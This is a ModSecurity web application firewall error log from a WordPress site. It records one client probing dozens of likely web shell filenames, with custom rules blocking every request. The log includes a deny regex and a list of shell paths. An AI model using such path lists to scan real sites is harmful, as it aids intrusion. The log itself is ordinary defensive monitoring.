[Wed Nov 26 01:00:53.741829 2025] [:error] [pid 14077:tid 14117] [client 172.207.189.235:21283] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aSXgxRG9n7UHEkwDTygGXgAAAEc"]
[Wed Nov 26 01:00:53.989896 2025] [:error] [pid 14078:tid 14157] [client 172.207.189.235:20985] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aSXgxdVXYbb0ii_rVoLhkQAAAJQ"]
[Wed Nov 26 01:00:54.241661 2025] [:error] [pid 28836:tid 29006] [client 172.207.189.235:20987] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aSXgxpwNRsoxcLQGkTcejgAAAtA"]
[Wed Nov 26 01:00:54.488285 2025] [:error] [pid 43843:tid 43868] [client 172.207.189.235:21210] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aSXgxhhx4v3NUNdMKDMixAAAAdc"]
[Wed Nov 26 01:00:54.736462 2025] [:error] [pid 43843:tid 43863] [client 172.207.189.235:21347] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aSXgxhhx4v3NUNdMKDMixQAAAdI"]
[Wed Nov 26 01:00:54.993658 2025] [:error] [pid 14078:tid 14160] [client 172.207.189.235:20937] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aSXgxtVXYbb0ii_rVoLhlwAAAJc"]
[Wed Nov 26 01:00:55.224406 2025] [:error] [pid 28836:tid 28964] [client 172.207.189.235:21284] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aSXgx5wNRsoxcLQGkTcekAAAAsk"]
[Wed Nov 26 01:00:55.474046 2025] [:error] [pid 28836:tid 29013] [client 172.207.189.235:21249] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aSXgx5wNRsoxcLQGkTcelQAAAtc"]
[Wed Nov 26 01:00:55.704615 2025] [:error] [pid 14076:tid 14101] [client 172.207.189.235:20991] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aSXgx3sB4Gz6Qw-pvBuBzQAAABQ"]
[Wed Nov 26 01:00:56.009449 2025] [:error] [pid 14076:tid 14081] [client 172.207.189.235:21309] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aSXgyHsB4Gz6Qw-pvBuBzwAAAAA"]
[Wed Nov 26 01:00:56.240288 2025] [:error] [pid 28836:tid 28959] [client 172.207.189.235:20931] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aSXgyJwNRsoxcLQGkTcemwAAAsQ"]
[Wed Nov 26 01:00:56.498044 2025] [:error] [pid 14078:tid 14152] [client 172.207.189.235:21281] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aSXgyNVXYbb0ii_rVoLhoQAAAI8"]
[Wed Nov 26 01:00:56.770037 2025] [:error] [pid 28739:tid 28774] [client 172.207.189.235:20982] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aSXgyBxGpKmlkG4FexT3kQAAAgw"]
[Wed Nov 26 01:00:57.070680 2025] [:error] [pid 14076:tid 14091] [client 172.207.189.235:20954] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aSXgyXsB4Gz6Qw-pvBuB1AAAAAo"]
[Wed Nov 26 01:00:57.316608 2025] [:error] [pid 14076:tid 14105] [client 172.207.189.235:21238] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aSXgyXsB4Gz6Qw-pvBuB1gAAABg"]
[Wed Nov 26 01:00:57.567125 2025] [:error] [pid 28739:tid 28765] [client 172.207.189.235:20977] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aSXgyRxGpKmlkG4FexT3kwAAAgM"]
[Wed Nov 26 01:00:57.888706 2025] [:error] [pid 14078:tid 14145] [client 172.207.189.235:20940] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aSXgydVXYbb0ii_rVoLhqQAAAIg"]
[Wed Nov 26 01:00:58.134624 2025] [:error] [pid 28836:tid 28964] [client 172.207.189.235:21221] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aSXgypwNRsoxcLQGkTceowAAAsk"]
[Wed Nov 26 01:00:58.404697 2025] [:error] [pid 14076:tid 14099] [client 172.207.189.235:21205] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aSXgynsB4Gz6Qw-pvBuB6AAAABI"]
[Wed Nov 26 01:00:58.712920 2025] [:error] [pid 43981:tid 43993] [client 172.207.189.235:21122] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aSXgyggZn97m_qh_RaGZnQAAAwo"]
[Wed Nov 26 01:00:58.983037 2025] [:error] [pid 43843:tid 43860] [client 172.207.189.235:20972] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aSXgyhhx4v3NUNdMKDMiygAAAc8"]
[Wed Nov 26 01:00:59.244018 2025] [:error] [pid 43981:tid 43985] [client 172.207.189.235:20959] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aSXgywgZn97m_qh_RaGZnwAAAwI"]
[Wed Nov 26 01:00:59.544253 2025] [:error] [pid 28609:tid 28635] [client 172.207.189.235:21300] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aSXgyyGGdT-nZJVs3x0ruQAAAZE"]
[Wed Nov 26 01:00:59.865334 2025] [:error] [pid 28739:tid 28766] [client 172.207.189.235:21147] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aSXgyxxGpKmlkG4FexT3lgAAAgQ"]
[Wed Nov 26 01:01:00.122852 2025] [:error] [pid 14077:tid 14112] [client 172.207.189.235:21303] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aSXgzBG9n7UHEkwDTygGZgAAAEI"]
[Wed Nov 26 01:01:00.422327 2025] [:error] [pid 2987:tid 3013] [client 172.207.189.235:20986] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aSXgzM-djEt-pTzPxnwBzwAAAVg"]
[Wed Nov 26 01:01:00.735743 2025] [:error] [pid 43981:tid 44002] [client 172.207.189.235:21227] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aSXgzAgZn97m_qh_RaGZoAAAAxM"]
[Wed Nov 26 01:01:01.004682 2025] [:error] [pid 14078:tid 14139] [client 172.207.189.235:20955] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aSXgzdVXYbb0ii_rVoLhtwAAAII"]
[Wed Nov 26 01:01:01.254316 2025] [:error] [pid 2987:tid 3004] [client 172.207.189.235:20963] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aSXgzc-djEt-pTzPxnwB0wAAAU8"]
[Wed Nov 26 01:01:01.498051 2025] [:error] [pid 14078:tid 14141] [client 172.207.189.235:21247] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aSXgzdVXYbb0ii_rVoLhvgAAAIQ"]
[Wed Nov 26 01:01:01.778246 2025] [:error] [pid 14076:tid 14096] [client 172.207.189.235:21226] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aSXgzXsB4Gz6Qw-pvBuB7wAAAA8"]
[Wed Nov 26 01:01:02.020661 2025] [:error] [pid 28739:tid 28771] [client 172.207.189.235:21137] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aSXgzhxGpKmlkG4FexT3lwAAAgk"]
[Wed Nov 26 01:01:02.276943 2025] [:error] [pid 14076:tid 14095] [client 172.207.189.235:21121] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless5.php"] [unique_id "aSXgznsB4Gz6Qw-pvBuB8QAAAA4"]
[Wed Nov 26 01:01:02.507752 2025] [:error] [pid 14076:tid 14094] [client 172.207.189.235:21243] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless5.php"] [unique_id "aSXgznsB4Gz6Qw-pvBuB9QAAAA0"]
[Wed Nov 26 01:01:02.771680 2025] [:error] [pid 14078:tid 14145] [client 172.207.189.235:21123] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless5.php"] [unique_id "aSXgztVXYbb0ii_rVoLhwwAAAIg"]
[Wed Nov 26 01:01:03.045447 2025] [:error] [pid 14078:tid 14144] [client 172.207.189.235:20970] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless5.php"] [unique_id "aSXgz9VXYbb0ii_rVoLhxwAAAIc"]
[Wed Nov 26 01:01:03.306773 2025] [:error] [pid 14077:tid 14128] [client 172.207.189.235:21233] [client 172.207.189.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aSXgzxG9n7UHEkwDTygGagAAAFI"]
[Wed Nov 26 01:01:03.548780 2025] [:error] [pid 43843:tid 43861] [client 172.207.189.235:21359] [client 172.207.189.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aSXgzxhx4v3NUNdMKDMizQAAAdA"]
[Wed Nov 26 01:01:03.785070 2025] [:error] [pid 14077:tid 14132] [client 172.207.189.235:20936] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aSXgzxG9n7UHEkwDTygGbAAAAFY"]
[Wed Nov 26 01:01:04.024957 2025] [:error] [pid 28609:tid 28620] [client 172.207.189.235:21160] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aSXg0CGGdT-nZJVs3x0rxAAAAYI"]
[Wed Nov 26 01:01:04.290639 2025] [:error] [pid 28739:tid 28764] [client 172.207.189.235:20942] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aSXg0BxGpKmlkG4FexT3nQAAAgI"]
[Wed Nov 26 01:01:04.861488 2025] [:error] [pid 28836:tid 28959] [client 172.207.189.235:21135] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aSXg0JwNRsoxcLQGkTcerAAAAsQ"]
[Wed Nov 26 01:01:05.254166 2025] [:error] [pid 28739:tid 28784] [client 172.207.189.235:21146] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bge.php"] [unique_id "aSXg0RxGpKmlkG4FexT3oQAAAhY"]
[Wed Nov 26 01:01:05.488868 2025] [:error] [pid 14078:tid 14149] [client 172.207.189.235:20966] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bge.php"] [unique_id "aSXg0dVXYbb0ii_rVoLh4AAAAIw"]
[Wed Nov 26 01:01:05.719055 2025] [:error] [pid 28739:tid 28766] [client 172.207.189.235:20986] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bge.php"] [unique_id "aSXg0RxGpKmlkG4FexT3pAAAAgQ"]
[Wed Nov 26 01:01:05.960875 2025] [:error] [pid 14076:tid 14099] [client 172.207.189.235:21202] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bge.php"] [unique_id "aSXg0XsB4Gz6Qw-pvBuCAQAAABI"]
[Wed Nov 26 01:01:06.191911 2025] [:error] [pid 28836:tid 28960] [client 172.207.189.235:21066] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ifm.php"] [unique_id "aSXg0pwNRsoxcLQGkTcergAAAsU"]
[Wed Nov 26 01:01:06.430169 2025] [:error] [pid 28609:tid 28621] [client 172.207.189.235:21319] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ifm.php"] [unique_id "aSXg0iGGdT-nZJVs3x0ryQAAAYM"]
[Wed Nov 26 01:01:06.693417 2025] [:error] [pid 28836:tid 29014] [client 172.207.189.235:21204] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ifm.php"] [unique_id "aSXg0pwNRsoxcLQGkTcerwAAAtg"]
[Wed Nov 26 01:01:06.932101 2025] [:error] [pid 43843:tid 43859] [client 172.207.189.235:21215] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ifm.php"] [unique_id "aSXg0hhx4v3NUNdMKDMizwAAAc4"]
[Wed Nov 26 01:01:07.167911 2025] [:error] [pid 14168:tid 14190] [client 172.207.189.235:21124] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww5.php"] [unique_id "aSXg0_R-ZDU0QEgAIIu-WAAAANM"]
[Wed Nov 26 01:01:07.409311 2025] [:error] [pid 28836:tid 28963] [client 172.207.189.235:20951] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww5.php"] [unique_id "aSXg05wNRsoxcLQGkTcesQAAAsg"]
[Wed Nov 26 01:01:07.665026 2025] [:error] [pid 14168:tid 14171] [client 172.207.189.235:21172] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww5.php"] [unique_id "aSXg0_R-ZDU0QEgAIIu-WQAAAMA"]
[Wed Nov 26 01:01:07.892629 2025] [:error] [pid 14076:tid 14087] [client 172.207.189.235:21232] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww5.php"] [unique_id "aSXg03sB4Gz6Qw-pvBuCBQAAAAY"]
[Wed Nov 26 01:01:08.189515 2025] [:error] [pid 28739:tid 28783] [client 172.207.189.235:20967] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aSXg1BxGpKmlkG4FexT3qQAAAhU"]
